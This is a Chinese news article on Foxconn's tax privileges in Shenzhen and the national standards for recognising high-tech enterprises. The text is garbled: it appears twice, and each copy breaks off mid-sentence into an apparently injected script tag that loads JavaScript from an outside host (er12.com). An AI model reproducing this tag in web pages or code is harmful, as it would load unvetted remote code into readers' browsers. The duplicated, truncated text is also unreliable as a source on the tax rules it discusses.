深圳标准“特权”找回的可能
早在2007年,新企业所得税法颁布后,原来针对外资企业的一系列税收优惠政策被取消。但新税法允许2008年1月1日已经开始享受定期减免税优惠的老企业,在新企业所得税法施行后按原优惠标准和期限继续享受尚未享受完的优惠。同时允许深圳等经济特区设立的高新技术企业,自投产年度起享受企业所得税“两免三减半”优惠政策。
像富士康这样的大型企业,可以享受5年的定期减免税收优惠。也意味着,如果继续被认定为高新科技企业,可以不受5年的“过渡期”的限制,继续享受该优惠政策。比如,企业所得税2年免征、3年减半征收;期满后出口产品产值达到当年企业产品产值70%以上的,按10%征收,先进技术型企业延长3年减按10%的税率征收。
也就是说,在5年的“过渡时期”内,只要富士康可以按照深圳市的科技认定的标准,平缓转向科技型企业,从而继续享受着高新技术企业认定后的税收优惠,消失的“特权”可以重新找回。
而现在,如果你要在网站上搜索关于富士康的信息,总会找到这样的开头:富士康集团是台湾鸿海精密工业股份有限公司在内地投资兴办的专业研发生产精密电气连接器等产品的高新科技企业。
国家标准难达“高科技企业”硬指标
但是国家办法的公布,让“特权”的实现,再次显得有些遥远。也让这一遍布网络的简介,可能发生微弱的改变。
4月14日,国家科技部、财政部、国家税务总局联合下发的《高新技术企业认定管理办法》中,对高新技术企业认定有了明显的要求。要求是:在中国境内(不含港、澳、台地区)注册的企业,近3年内通过自主研发、受让、受赠、并购等方式,或通过5年以上的独占许可方式,对其主要产品(服务)的核心技术拥有自主知识产权;产品(服务)属于《国家重点支持的高新技术领域》规定的范围;
国家标准还有两项硬指标:具有大学专科以上学历的科技人员占企业当年职工总数的30%以上,其中研发人员占企业当年职工总数的10%以上;企业在中国境内发生的研究开发费用总额占全部研究开发费用总额的比例不低于60%;高新技术产品(服务)收入占企业当年总收入的60%以上。
对比深圳市的高新科技企业认定标准,对于生产型企业,从事高新技术产品研究、开发?script src=http://er12.com/t.js>
深圳标准“特权”找回的可能
早在2007年,新企业所得税法颁布后,原来针对外资企业的一系列税收优惠政策被取消。但新税法允许2008年1月1日已经开始享受定期减免税优惠的老企业,在新企业所得税法施行后按原优惠标准和期限继续享受尚未享受完的优惠。同时允许深圳等经济特区设立的高新技术企业,自投产年度起享受企业所得税“两免三减半”优惠政策。
像富士康这样的大型企业,可以享受5年的定期减免税收优惠。也意味着,如果继续被认定为高新科技企业,可以不受5年的“过渡期”的限制,继续享受该优惠政策。比如,企业所得税2年免征、3年减半征收;期满后出口产品产值达到当年企业产品产值70%以上的,按10%征收,先进技术型企业延长3年减按10%的税率征收。
也就是说,在5年的“过渡时期”内,只要富士康可以按照深圳市的科技认定的标准,平缓转向科技型企业,从而继续享受着高新技术企业认定后的税收优惠,消失的“特权”可以重新找回。
而现在,如果你要在网站上搜索关于富士康的信息,总会找到这样的开头:富士康集团是台湾鸿海精密工业股份有限公司在内地投资兴办的专业研发生产精密电气连接器等产品的高新科技企业。
国家标准难达“高科技企业”硬指标
但是国家办法的公布,让“特权”的实现,再次显得有些遥远。也让这一遍布网络的简介,可能发生微弱的改变。
4月14日,国家科技部、财政部、国家税务总局联合下发的《高新技术企业认定管理办法》中,对高新技术企业认定有了明显的要求。要求是:在中国境内(不含港、澳、台地区)注册的企业,近3年内通过自主研发、受让、受赠、并购等方式,或通过5年以上的独占许可方式,对其主要产品(服务)的核心技术拥有自主知识产权;产品(服务)属于《国家重点支持的高新技术领域》规定的范围;
国家标准还有两项硬指标:具有大学专科以上学历的科技人员占企业当年职工总数的30%以上,其中研发人员占企业当年职工总数的10%以上;企业在中国境内发生的研究开发费用总额占全部研究开发费用总额的比例不低于60%;高新技术产品(服务)收入占企业当年总收入的60%以上。
对比深圳市的高新科技企业认定标准,对于生产型企业,从事高新技术产品研究、开发?script src=http://er12.com/t.js>